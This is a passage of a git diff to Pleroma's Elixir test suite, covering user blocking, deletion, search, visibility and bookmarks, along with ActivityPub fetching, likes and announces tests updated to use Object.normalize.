	refute User.blocks?(user, collateral_user)
	end
	end

	describe "blocks_import" do
	test "it imports user blocks from list" do
	[user1, user2, user3] = insert_list(3, :user)

	identifiers = [
	user2.ap_id,
	user3.nickname
	]

	result = User.blocks_import(user1, identifiers)
	assert is_list(result)
	assert result == [user2, user3]
	end
	end

	test "get recipients from activity" do
	actor = insert(:user)
	user = insert(:user, local: true)
	user_two = insert(:user, local: false)
	addressed = insert(:user, local: true)
	addressed_remote = insert(:user, local: false)

	{:ok, activity} =
	CommonAPI.post(actor, %{
	"status" => "hey @#{addressed.nickname} @#{addressed_remote.nickname}"
	})

	assert Enum.map([actor, addressed], & &1.ap_id) --
	Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == []

	{:ok, user} = User.follow(user, actor)
	{:ok, _user_two} = User.follow(user_two, actor)
	recipients = User.get_recipients_from_activity(activity)
	assert length(recipients) == 3
	assert user in recipients
	assert addressed in recipients
	end

	test ".deactivate can de-activate then re-activate a user" do
	user = insert(:user)
	assert false == user.info.deactivated
	{:ok, user} = User.deactivate(user)
	assert true == user.info.deactivated
	{:ok, user} = User.deactivate(user, false)
	assert false == user.info.deactivated
	end

	test ".delete_user_activities deletes all create activities" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"})
	{:ok, _} = User.delete_user_activities(user)

	# TODO: Remove favorites, repeats, delete activities.
	refute Activity.get_by_id(activity.id)
	end

	test ".delete deactivates a user, all follow relationships and all create activities" do
	user = insert(:user)
	followed = insert(:user)
	follower = insert(:user)

	{:ok, user} = User.follow(user, followed)
	{:ok, follower} = User.follow(follower, user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"})
	{:ok, activity_two} = CommonAPI.post(follower, %{"status" => "3hu"})

	{:ok, _, _} = CommonAPI.favorite(activity_two.id, user)
	{:ok, _, _} = CommonAPI.favorite(activity.id, follower)
	{:ok, _, _} = CommonAPI.repeat(activity.id, follower)

	{:ok, _} = User.delete(user)

	followed = User.get_cached_by_id(followed.id)
	follower = User.get_cached_by_id(follower.id)
	user = User.get_cached_by_id(user.id)

	assert user.info.deactivated

	refute User.following?(user, followed)
	refute User.following?(followed, follower)

	# TODO: Remove favorites, repeats, delete activities.

	refute Activity.get_by_id(activity.id)
	end

	test "get_public_key_for_ap_id fetches a user that's not in the db" do
	assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin")
	end

	test "insert or update a user from given data" do
	user = insert(:user, %{nickname: "nick@name.de"})
	data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname}

	assert {:ok, %User{}} = User.insert_or_update_user(data)
	end

	describe "per-user rich-text filtering" do
	test "html_filter_policy returns default policies, when rich-text is enabled" do
	user = insert(:user)

	assert Pleroma.Config.get([:markup, :scrub_policy]) == User.html_filter_policy(user)
	end

	test "html_filter_policy returns TwitterText scrubber when rich-text is disabled" do
	user = insert(:user, %{info: %{no_rich_text: true}})

	assert Pleroma.HTML.Scrubber.TwitterText == User.html_filter_policy(user)
	end
	end

	describe "caching" do
	test "invalidate_cache works" do
	user = insert(:user)
	_user_info = User.get_cached_user_info(user)

	User.invalidate_cache(user)

	{:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
	{:ok, nil} = Cachex.get(:user_cache, "nickname:#{user.nickname}")
	{:ok, nil} = Cachex.get(:user_cache, "user_info:#{user.id}")
	end

	test "User.delete() plugs any possible zombie objects" do
	user = insert(:user)

	{:ok, _} = User.delete(user)

	{:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")

	assert cached_user != user

	{:ok, cached_user} = Cachex.get(:user_cache, "nickname:#{user.ap_id}")

	assert cached_user != user
	end
	end

	describe "User.search" do
	test "finds a user by full or partial nickname" do
	user = insert(:user, %{nickname: "john"})

	Enum.each(["john", "jo", "j"], fn query ->
	assert user ==
	User.search(query)
	\|> List.first()
	\|> Map.put(:search_rank, nil)
	\|> Map.put(:search_type, nil)
	end)
	end

	test "finds a user by full or partial name" do
	user = insert(:user, %{name: "John Doe"})

	Enum.each(["John Doe", "JOHN", "doe", "j d", "j", "d"], fn query ->
	assert user ==
	User.search(query)
	\|> List.first()
	\|> Map.put(:search_rank, nil)
	\|> Map.put(:search_type, nil)
	end)
	end

	test "finds users, preferring nickname matches over name matches" do
	u1 = insert(:user, %{name: "lain", nickname: "nick1"})
	u2 = insert(:user, %{nickname: "lain", name: "nick1"})

	assert [u2.id, u1.id] == Enum.map(User.search("lain"), & &1.id)
	end

	test "finds users, considering density of matched tokens" do
	u1 = insert(:user, %{name: "Bar Bar plus Word Word"})
	u2 = insert(:user, %{name: "Word Word Bar Bar Bar"})

	assert [u2.id, u1.id] == Enum.map(User.search("bar word"), & &1.id)
	end

	test "finds users, ranking by similarity" do
	u1 = insert(:user, %{name: "lain"})
	_u2 = insert(:user, %{name: "ean"})
	u3 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social"})
	u4 = insert(:user, %{nickname: "lain@pleroma.soykaf.com"})

	assert [u4.id, u3.id, u1.id] == Enum.map(User.search("lain@ple"), & &1.id)
	end

	test "finds users, handling misspelled requests" do
	u1 = insert(:user, %{name: "lain"})

	assert [u1.id] == Enum.map(User.search("laiin"), & &1.id)
	end

	test "finds users, boosting ranks of friends and followers" do
	u1 = insert(:user)
	u2 = insert(:user, %{name: "Doe"})
	follower = insert(:user, %{name: "Doe"})
	friend = insert(:user, %{name: "Doe"})

	{:ok, follower} = User.follow(follower, u1)
	{:ok, u1} = User.follow(u1, friend)

	assert [friend.id, follower.id, u2.id] --
	Enum.map(User.search("doe", resolve: false, for_user: u1), & &1.id) == []
	end

	test "finds a user whose name is nil" do
	_user = insert(:user, %{name: "notamatch", nickname: "testuser@pleroma.amplifie.red"})
	user_two = insert(:user, %{name: nil, nickname: "lain@pleroma.soykaf.com"})

	assert user_two ==
	User.search("lain@pleroma.soykaf.com")
	\|> List.first()
	\|> Map.put(:search_rank, nil)
	\|> Map.put(:search_type, nil)
	end

	test "does not yield false-positive matches" do
	insert(:user, %{name: "John Doe"})

	Enum.each(["mary", "a", ""], fn query ->
	assert [] == User.search(query)
	end)
	end

	test "works with URIs" do
	results = User.search("http://mastodon.example.org/users/admin", resolve: true)
	result = results \|> List.first()

	user = User.get_cached_by_ap_id("http://mastodon.example.org/users/admin")

	assert length(results) == 1
	assert user == result \|> Map.put(:search_rank, nil) \|> Map.put(:search_type, nil)
	end
	end

	test "auth_active?/1 works correctly" do
	Pleroma.Config.put([:instance, :account_activation_required], true)

	local_user = insert(:user, local: true, info: %{confirmation_pending: true})
	confirmed_user = insert(:user, local: true, info: %{confirmation_pending: false})
	remote_user = insert(:user, local: false)

	refute User.auth_active?(local_user)
	assert User.auth_active?(confirmed_user)
	assert User.auth_active?(remote_user)

	Pleroma.Config.put([:instance, :account_activation_required], false)
	end

	describe "superuser?/1" do
	test "returns false for unprivileged users" do
	user = insert(:user, local: true)

	refute User.superuser?(user)
	end

	test "returns false for remote users" do
	user = insert(:user, local: false)
	remote_admin_user = insert(:user, local: false, info: %{is_admin: true})

	refute User.superuser?(user)
	refute User.superuser?(remote_admin_user)
	end

	test "returns true for local moderators" do
	user = insert(:user, local: true, info: %{is_moderator: true})

	assert User.superuser?(user)
	end

	test "returns true for local admins" do
	user = insert(:user, local: true, info: %{is_admin: true})

	assert User.superuser?(user)
	end
	end

	describe "visible_for?/2" do
	test "returns true when the account is itself" do
	user = insert(:user, local: true)

	assert User.visible_for?(user, user)
	end

	test "returns false when the account is unauthenticated and auth is required" do
	Pleroma.Config.put([:instance, :account_activation_required], true)

	user = insert(:user, local: true, info: %{confirmation_pending: true})
	other_user = insert(:user, local: true)

	refute User.visible_for?(user, other_user)

	Pleroma.Config.put([:instance, :account_activation_required], false)
	end

	test "returns true when the account is unauthenticated and auth is not required" do
	user = insert(:user, local: true, info: %{confirmation_pending: true})
	other_user = insert(:user, local: true)

	assert User.visible_for?(user, other_user)
	end

	test "returns true when the account is unauthenticated and being viewed by a privileged account (auth required)" do
	Pleroma.Config.put([:instance, :account_activation_required], true)

	user = insert(:user, local: true, info: %{confirmation_pending: true})
	other_user = insert(:user, local: true, info: %{is_admin: true})

	assert User.visible_for?(user, other_user)

	Pleroma.Config.put([:instance, :account_activation_required], false)
	end
	end

	describe "parse_bio/2" do
	test "preserves hosts in user links text" do
	remote_user = insert(:user, local: false, nickname: "nick@domain.com")
	user = insert(:user)
	bio = "A.k.a. @nick@domain.com"

	expected_text =
	"A.k.a. <span class='h-card'><a data-user='#{remote_user.id}' class='u-url mention' href='#{
	remote_user.ap_id
	}'>" <> "@<span>nick@domain.com</span></a></span>"

	assert expected_text == User.parse_bio(bio, user)
	end

	test "Adds rel=me on linkbacked urls" do
	user = insert(:user, ap_id: "http://social.example.org/users/lain")

	bio = "http://example.org/rel_me/null"
	expected_text = "<a href=\"#{bio}\">#{bio}</a>"
	assert expected_text == User.parse_bio(bio, user)

	bio = "http://example.org/rel_me/link"
	expected_text = "<a href=\"#{bio}\">#{bio}</a>"
	assert expected_text == User.parse_bio(bio, user)

	bio = "http://example.org/rel_me/anchor"
	expected_text = "<a href=\"#{bio}\">#{bio}</a>"
	assert expected_text == User.parse_bio(bio, user)
	end
	end

	test "bookmarks" do
	user = insert(:user)

	{:ok, activity1} =
	CommonAPI.post(user, %{
	"status" => "heweoo!"
	})

	- id1 = activity1.data["object"]["id"]
	+ id1 = Object.normalize(activity1).data["id"]

	{:ok, activity2} =
	CommonAPI.post(user, %{
	"status" => "heweoo!"
	})

	- id2 = activity2.data["object"]["id"]
	+ id2 = Object.normalize(activity2).data["id"]

	assert {:ok, user_state1} = User.bookmark(user, id1)
	assert user_state1.bookmarks == [id1]

	assert {:ok, user_state2} = User.unbookmark(user, id1)
	assert user_state2.bookmarks == []

	assert {:ok, user_state3} = User.bookmark(user, id2)
	assert user_state3.bookmarks == [id2]
	end

	test "follower count is updated when a follower is blocked" do
	user = insert(:user)
	follower = insert(:user)
	follower2 = insert(:user)
	follower3 = insert(:user)

	{:ok, follower} = Pleroma.User.follow(follower, user)
	{:ok, _follower2} = Pleroma.User.follow(follower2, user)
	{:ok, _follower3} = Pleroma.User.follow(follower3, user)

	{:ok, _} = Pleroma.User.block(user, follower)

	user_show = Pleroma.Web.TwitterAPI.UserView.render("show.json", %{user: user})

	assert Map.get(user_show, "followers_count") == 2
	end
	end
	diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs
	index 1e96a7aa4..f8e987e58 100644
	--- a/test/web/activity_pub/activity_pub_test.exs
	+++ b/test/web/activity_pub/activity_pub_test.exs
	@@ -1,1147 +1,1107 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
	use Pleroma.DataCase
	alias Pleroma.Activity
	alias Pleroma.Builders.ActivityBuilder
	alias Pleroma.Instances
	alias Pleroma.Object
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory
	import Tesla.Mock
	import Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "fetching restricted by visibility" do
	test "it restricts by the appropriate visibility" do
	user = insert(:user)

	{:ok, public_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "public"})

	{:ok, direct_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "direct"})

	{:ok, unlisted_activity} =
	CommonAPI.post(user, %{"status" => ".", "visibility" => "unlisted"})

	{:ok, private_activity} =
	CommonAPI.post(user, %{"status" => ".", "visibility" => "private"})

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "direct", "actor_id" => user.ap_id})

	assert activities == [direct_activity]

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "unlisted", "actor_id" => user.ap_id})

	assert activities == [unlisted_activity]

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "private", "actor_id" => user.ap_id})

	assert activities == [private_activity]

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "public", "actor_id" => user.ap_id})

	assert activities == [public_activity]

	activities =
	ActivityPub.fetch_activities([], %{
	:visibility => ~w[private public],
	"actor_id" => user.ap_id
	})

	assert activities == [public_activity, private_activity]
	end
	end

	describe "building a user from his ap id" do
	test "it returns a user" do
	user_id = "http://mastodon.example.org/users/admin"
	{:ok, user} = ActivityPub.make_user_from_ap_id(user_id)
	assert user.ap_id == user_id
	assert user.nickname == "admin@mastodon.example.org"
	assert user.info.source_data
	assert user.info.ap_enabled
	assert user.follower_address == "http://mastodon.example.org/users/admin/followers"
	end

	test "it fetches the appropriate tag-restricted posts" do
	user = insert(:user)

	{:ok, status_one} = CommonAPI.post(user, %{"status" => ". #test"})
	{:ok, status_two} = CommonAPI.post(user, %{"status" => ". #essais"})
	{:ok, status_three} = CommonAPI.post(user, %{"status" => ". #test #reject"})

	- fetch_one = ActivityPub.fetch_activities([], %{"tag" => "test"})
	- fetch_two = ActivityPub.fetch_activities([], %{"tag" => ["test", "essais"]})
	+ fetch_one = ActivityPub.fetch_activities([], %{"type" => "Create", "tag" => "test"})
	+
	+ fetch_two =
	+ ActivityPub.fetch_activities([], %{"type" => "Create", "tag" => ["test", "essais"]})

	fetch_three =
	ActivityPub.fetch_activities([], %{
	+ "type" => "Create",
	"tag" => ["test", "essais"],
	"tag_reject" => ["reject"]
	})

	fetch_four =
	ActivityPub.fetch_activities([], %{
	+ "type" => "Create",
	"tag" => ["test"],
	"tag_all" => ["test", "reject"]
	})

	assert fetch_one == [status_one, status_three]
	assert fetch_two == [status_one, status_two, status_three]
	assert fetch_three == [status_one, status_two]
	assert fetch_four == [status_three]
	end
	end

	describe "insertion" do
	test "drops activities beyond a certain limit" do
	limit = Pleroma.Config.get([:instance, :remote_limit])

	random_text =
	:crypto.strong_rand_bytes(limit + 1)
	\|> Base.encode64()
	\|> binary_part(0, limit + 1)

	data = %{
	"ok" => true,
	"object" => %{
	"content" => random_text
	}
	}

	assert {:error, {:remote_limit_error, _}} = ActivityPub.insert(data)
	end

	test "doesn't drop activities with content being null" do
	data = %{
	"ok" => true,
	"object" => %{
	"content" => nil
	}
	}

	assert {:ok, _} = ActivityPub.insert(data)
	end

	test "returns the activity if one with the same id is already in" do
	activity = insert(:note_activity)
	{:ok, new_activity} = ActivityPub.insert(activity.data)

	assert activity.id == new_activity.id
	end

	test "inserts a given map into the activity database, giving it an id if it has none." do
	data = %{
	"ok" => true
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)
	assert activity.data["ok"] == data["ok"]
	assert is_binary(activity.data["id"])

	given_id = "bla"

	data = %{
	"ok" => true,
	"id" => given_id,
	"context" => "blabla"
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)
	assert activity.data["ok"] == data["ok"]
	assert activity.data["id"] == given_id
	assert activity.data["context"] == "blabla"
	assert activity.data["context_id"]
	end

	test "adds a context when none is there" do
	data = %{
	"id" => "some_id",
	"object" => %{
	"id" => "object_id"
	}
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)

	assert is_binary(activity.data["context"])
	assert is_binary(activity.data["object"]["context"])
	assert activity.data["context_id"]
	assert activity.data["object"]["context_id"]
	end

	test "adds an id to a given object if it lacks one and is a note and inserts it to the object database" do
	data = %{
	"object" => %{
	"type" => "Note",
	"ok" => true
	}
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)
	- assert is_binary(activity.data["object"]["id"])
	- assert %Object{} = Object.get_by_ap_id(activity.data["object"]["id"])
	+ object = Object.normalize(activity.data["object"])
	+
	+ assert is_binary(object.data["id"])
	+ assert %Object{} = Object.get_by_ap_id(activity.data["object"])
	end
	end

	describe "create activities" do
	test "removes doubled 'to' recipients" do
	user = insert(:user)

	{:ok, activity} =
	ActivityPub.create(%{
	to: ["user1", "user1", "user2"],
	actor: user,
	context: "",
	- object: %{}
	+ object: %{
	+ "to" => ["user1", "user1", "user2"],
	+ "type" => "Note",
	+ "content" => "testing"
	+ }
	})

	assert activity.data["to"] == ["user1", "user2"]
	assert activity.actor == user.ap_id
	assert activity.recipients == ["user1", "user2", user.ap_id]
	end

	test "increases user note count only for public activities" do
	user = insert(:user)

	{:ok, _} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "1",
	"visibility" => "public"
	})

	{:ok, _} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "2",
	"visibility" => "unlisted"
	})

	{:ok, _} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "2",
	"visibility" => "private"
	})

	{:ok, _} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "3",
	"visibility" => "direct"
	})

	user = User.get_cached_by_id(user.id)
	assert user.info.note_count == 2
	end

	test "increases replies count" do
	user = insert(:user)
	user2 = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "1", "visibility" => "public"})
	ap_id = activity.data["id"]
	reply_data = %{"status" => "1", "in_reply_to_status_id" => activity.id}

	# public
	{:ok, _} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "public"))
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	- assert data["object"]["repliesCount"] == 1
	assert object.data["repliesCount"] == 1

	# unlisted
	{:ok, _} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "unlisted"))
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	- assert data["object"]["repliesCount"] == 2
	assert object.data["repliesCount"] == 2

	# private
	{:ok, _} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "private"))
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	- assert data["object"]["repliesCount"] == 2
	assert object.data["repliesCount"] == 2

	# direct
	{:ok, _} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "direct"))
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	- assert data["object"]["repliesCount"] == 2
	assert object.data["repliesCount"] == 2
	end
	end

	describe "fetch activities for recipients" do
	test "retrieve the activities for certain recipients" do
	{:ok, activity_one} = ActivityBuilder.insert(%{"to" => ["someone"]})
	{:ok, activity_two} = ActivityBuilder.insert(%{"to" => ["someone_else"]})
	{:ok, _activity_three} = ActivityBuilder.insert(%{"to" => ["noone"]})

	activities = ActivityPub.fetch_activities(["someone", "someone_else"])
	assert length(activities) == 2
	assert activities == [activity_one, activity_two]
	end
	end

	describe "fetch activities in context" do
	test "retrieves activities that have a given context" do
	{:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
	{:ok, activity_two} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
	{:ok, _activity_three} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"})
	{:ok, _activity_four} = ActivityBuilder.insert(%{"type" => "Announce", "context" => "2hu"})
	activity_five = insert(:note_activity)
	user = insert(:user)

	{:ok, user} = User.block(user, %{ap_id: activity_five.data["actor"]})

	activities = ActivityPub.fetch_activities_for_context("2hu", %{"blocking_user" => user})
	assert activities == [activity_two, activity]
	end
	end

	test "doesn't return blocked activities" do
	activity_one = insert(:note_activity)
	activity_two = insert(:note_activity)
	activity_three = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)
	{:ok, user} = User.block(user, %{ap_id: activity_one.data["actor"]})

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	refute Enum.member?(activities, activity_one)

	{:ok, user} = User.unblock(user, %{ap_id: activity_one.data["actor"]})

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, activity_one)

	{:ok, user} = User.block(user, %{ap_id: activity_three.data["actor"]})
	{:ok, _announce, %{data: %{"id" => id}}} = CommonAPI.repeat(activity_three.id, booster)
	%Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id)
	activity_three = Activity.get_by_id(activity_three.id)

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	refute Enum.member?(activities, activity_three)
	refute Enum.member?(activities, boost_activity)
	assert Enum.member?(activities, activity_one)

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => nil, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, boost_activity)
	assert Enum.member?(activities, activity_one)
	end

	test "doesn't return transitive interactions concerning blocked users" do
	blocker = insert(:user)
	blockee = insert(:user)
	friend = insert(:user)

	{:ok, blocker} = User.block(blocker, blockee)

	{:ok, activity_one} = CommonAPI.post(friend, %{"status" => "hey!"})

	{:ok, activity_two} = CommonAPI.post(friend, %{"status" => "hey! @#{blockee.nickname}"})

	{:ok, activity_three} = CommonAPI.post(blockee, %{"status" => "hey! @#{friend.nickname}"})

	{:ok, activity_four} = CommonAPI.post(blockee, %{"status" => "hey! @#{blocker.nickname}"})

	activities = ActivityPub.fetch_activities([], %{"blocking_user" => blocker})

	assert Enum.member?(activities, activity_one)
	refute Enum.member?(activities, activity_two)
	refute Enum.member?(activities, activity_three)
	refute Enum.member?(activities, activity_four)
	end

	test "doesn't return announce activities concerning blocked users" do
	blocker = insert(:user)
	blockee = insert(:user)
	friend = insert(:user)

	{:ok, blocker} = User.block(blocker, blockee)

	{:ok, activity_one} = CommonAPI.post(friend, %{"status" => "hey!"})

	{:ok, activity_two} = CommonAPI.post(blockee, %{"status" => "hey! @#{friend.nickname}"})

	{:ok, activity_three, _} = CommonAPI.repeat(activity_two.id, friend)

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => blocker})
	\|> Enum.map(fn act -> act.id end)

	assert Enum.member?(activities, activity_one.id)
	refute Enum.member?(activities, activity_two.id)
	refute Enum.member?(activities, activity_three.id)
	end

	test "doesn't return muted activities" do
	activity_one = insert(:note_activity)
	activity_two = insert(:note_activity)
	activity_three = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)
	{:ok, user} = User.mute(user, %User{ap_id: activity_one.data["actor"]})

	activities =
	ActivityPub.fetch_activities([], %{"muting_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	refute Enum.member?(activities, activity_one)

	# Calling with 'with_muted' will deliver muted activities, too.
	activities =
	ActivityPub.fetch_activities([], %{
	"muting_user" => user,
	"with_muted" => true,
	"skip_preload" => true
	})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, activity_one)

	{:ok, user} = User.unmute(user, %User{ap_id: activity_one.data["actor"]})

	activities =
	ActivityPub.fetch_activities([], %{"muting_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, activity_one)

	{:ok, user} = User.mute(user, %User{ap_id: activity_three.data["actor"]})
	{:ok, _announce, %{data: %{"id" => id}}} = CommonAPI.repeat(activity_three.id, booster)
	%Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id)
	activity_three = Activity.get_by_id(activity_three.id)

	activities =
	ActivityPub.fetch_activities([], %{"muting_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	refute Enum.member?(activities, activity_three)
	refute Enum.member?(activities, boost_activity)
	assert Enum.member?(activities, activity_one)

	activities = ActivityPub.fetch_activities([], %{"muting_user" => nil, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, boost_activity)
	assert Enum.member?(activities, activity_one)
	end

	test "does include announces on request" do
	activity_three = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)

	{:ok, user} = User.follow(user, booster)

	{:ok, announce, _object} = CommonAPI.repeat(activity_three.id, booster)

	[announce_activity] = ActivityPub.fetch_activities([user.ap_id \| user.following])

	assert announce_activity.id == announce.id
	end

	test "excludes reblogs on request" do
	user = insert(:user)
	{:ok, expected_activity} = ActivityBuilder.insert(%{"type" => "Create"}, %{:user => user})
	{:ok, _} = ActivityBuilder.insert(%{"type" => "Announce"}, %{:user => user})

	[activity] = ActivityPub.fetch_user_activities(user, nil, %{"exclude_reblogs" => "true"})

	assert activity == expected_activity
	end

	describe "public fetch activities" do
	test "doesn't retrieve unlisted activities" do
	user = insert(:user)

	{:ok, _unlisted_activity} =
	CommonAPI.post(user, %{"status" => "yeah", "visibility" => "unlisted"})

	{:ok, listed_activity} = CommonAPI.post(user, %{"status" => "yeah"})

	[activity] = ActivityPub.fetch_public_activities()

	assert activity == listed_activity
	end

	test "retrieves public activities" do
	_activities = ActivityPub.fetch_public_activities()

	%{public: public} = ActivityBuilder.public_and_non_public()

	activities = ActivityPub.fetch_public_activities()
	assert length(activities) == 1
	assert Enum.at(activities, 0) == public
	end

	test "retrieves a maximum of 20 activities" do
	activities = ActivityBuilder.insert_list(30)
	last_expected = List.last(activities)

	activities = ActivityPub.fetch_public_activities()
	last = List.last(activities)

	assert length(activities) == 20
	assert last == last_expected
	end

	test "retrieves ids starting from a since_id" do
	activities = ActivityBuilder.insert_list(30)
	later_activities = ActivityBuilder.insert_list(10)
	since_id = List.last(activities).id
	last_expected = List.last(later_activities)

	activities = ActivityPub.fetch_public_activities(%{"since_id" => since_id})
	last = List.last(activities)

	assert length(activities) == 10
	assert last == last_expected
	end

	test "retrieves ids up to max_id" do
	_first_activities = ActivityBuilder.insert_list(10)
	activities = ActivityBuilder.insert_list(20)
	later_activities = ActivityBuilder.insert_list(10)
	max_id = List.first(later_activities).id
	last_expected = List.last(activities)

	activities = ActivityPub.fetch_public_activities(%{"max_id" => max_id})
	last = List.last(activities)

	assert length(activities) == 20
	assert last == last_expected
	end

	test "doesn't return reblogs for users for whom reblogs have been muted" do
	activity = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)
	{:ok, user} = CommonAPI.hide_reblogs(user, booster)

	{:ok, activity, _} = CommonAPI.repeat(activity.id, booster)

	activities = ActivityPub.fetch_activities([], %{"muting_user" => user})

	refute Enum.any?(activities, fn %{id: id} -> id == activity.id end)
	end

	test "returns reblogs for users for whom reblogs have not been muted" do
	activity = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)
	{:ok, user} = CommonAPI.hide_reblogs(user, booster)
	{:ok, user} = CommonAPI.show_reblogs(user, booster)

	{:ok, activity, _} = CommonAPI.repeat(activity.id, booster)

	activities = ActivityPub.fetch_activities([], %{"muting_user" => user})

	assert Enum.any?(activities, fn %{id: id} -> id == activity.id end)
	end
	end

	describe "like an object" do
	test "adds a like activity to the db" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)
	user_two = insert(:user)

	{:ok, like_activity, object} = ActivityPub.like(user, object)

	assert like_activity.data["actor"] == user.ap_id
	assert like_activity.data["type"] == "Like"
	assert like_activity.data["object"] == object.data["id"]
	assert like_activity.data["to"] == [User.ap_followers(user), note_activity.data["actor"]]
	assert like_activity.data["context"] == object.data["context"]
	assert object.data["like_count"] == 1
	assert object.data["likes"] == [user.ap_id]

	# Just return the original activity if the user already liked it.
	{:ok, same_like_activity, object} = ActivityPub.like(user, object)

	assert like_activity == same_like_activity
	assert object.data["likes"] == [user.ap_id]

	[note_activity] = Activity.get_all_create_by_object_ap_id(object.data["id"])
	assert note_activity.data["object"]["like_count"] == 1

	{:ok, _like_activity, object} = ActivityPub.like(user_two, object)
	assert object.data["like_count"] == 2
	end
	end

	describe "unliking" do
	test "unliking a previously liked object" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)

	# Unliking something that hasn't been liked does nothing
	{:ok, object} = ActivityPub.unlike(user, object)
	assert object.data["like_count"] == 0

	{:ok, like_activity, object} = ActivityPub.like(user, object)
	assert object.data["like_count"] == 1

	{:ok, _, _, object} = ActivityPub.unlike(user, object)
	assert object.data["like_count"] == 0

	assert Activity.get_by_id(like_activity.id) == nil
	end
	end

	describe "announcing an object" do
	test "adds an announce activity to the db" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)

	{:ok, announce_activity, object} = ActivityPub.announce(user, object)
	assert object.data["announcement_count"] == 1
	assert object.data["announcements"] == [user.ap_id]

	assert announce_activity.data["to"] == [
	User.ap_followers(user),
	note_activity.data["actor"]
	]

	assert announce_activity.data["object"] == object.data["id"]
	assert announce_activity.data["actor"] == user.ap_id
	assert announce_activity.data["context"] == object.data["context"]
	end
	end

	describe "unannouncing an object" do
	test "unannouncing a previously announced object" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)

	# Unannouncing an object that is not announced does nothing
	# {:ok, object} = ActivityPub.unannounce(user, object)
	# assert object.data["announcement_count"] == 0

	{:ok, announce_activity, object} = ActivityPub.announce(user, object)
	assert object.data["announcement_count"] == 1

	{:ok, unannounce_activity, object} = ActivityPub.unannounce(user, object)
	assert object.data["announcement_count"] == 0

	assert unannounce_activity.data["to"] == [
	User.ap_followers(user),
	announce_activity.data["actor"]
	]

	assert unannounce_activity.data["type"] == "Undo"
	assert unannounce_activity.data["object"] == announce_activity.data
	assert unannounce_activity.data["actor"] == user.ap_id
	assert unannounce_activity.data["context"] == announce_activity.data["context"]

	assert Activity.get_by_id(announce_activity.id) == nil
	end
